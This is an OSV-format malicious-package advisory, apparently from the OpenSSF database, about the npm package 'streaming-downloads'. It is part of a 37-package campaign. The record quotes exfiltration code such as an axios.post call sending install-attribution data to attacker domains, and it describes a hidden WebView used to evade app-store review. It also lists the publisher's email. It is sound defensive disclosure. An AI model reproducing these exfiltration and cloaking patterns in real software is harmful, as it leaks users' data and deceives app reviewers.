{"id":"MAL-2026-6178","summary":"Malicious code in streaming-downloads (npm)","details":"The npm package `streaming-downloads` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive React Native component and part of a coordinated 37-package campaign across two attacker-controlled domains (surrprisingcoompanny.lol and barbellmate.xyz). On component mount it registers `appsFlyer.onInstallConversionData` and exfiltrates the app's install/conversion attribution data via `axios.post(\"https://barbellmate.xyz\", data)`, fetches a remote-config URL, and renders it full-screen in a `react-native-webview` that is hidden (display:'none') unless the server returns a valid URL — i.e. App Store review-evasion / attribution-laundering ('cloaking'). The package name is a decoy unrelated to its actual function, and the real logic is concealed behind junk 'calculator' functions with Ukrainian-language comments. Indicators of compromise: C2 surrprisingcoompanny.lol, barbellmate.xyz; npm author `sproger`. Both C2 domains are currently unregistered (dangling-C2 takeover risk for any app still shipping these packages). Reproducible from the published tarball, e.g. socket-network@1.0.0 SocketComponent*.jsx: appsFlyer.onInstallConversionData(...) -\u003e axios.post(\"https://surrprisingcoompanny.lol\", data); axios.get(fLink) remote config; hidden \u003cWebView source={{uri: techResult}}\u003e gated on display:'none'/'flex'.","modified":"2026-06-19T01:16:48.753282160Z","published":"2026-06-17T12:00:00Z","database_specific":{"iocs":{"domains":["surrprisingcoompanny.lol","barbellmate.xyz"]},"malicious-packages-origins":null},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/streaming-downloads"}],"affected":[{"package":{"name":"streaming-downloads","ecosystem":"npm","purl":"pkg:npm/streaming-downloads"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0","2.0.0"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/streaming-downloads/MAL-2026-6178.json"}}],"schema_version":"1.7.5","credits":[{"name":"WestBayBerry / dependency-guardian","contact":["https://westbayberry.com","https://github.com/ComCat1"],"type":"FINDER"}]}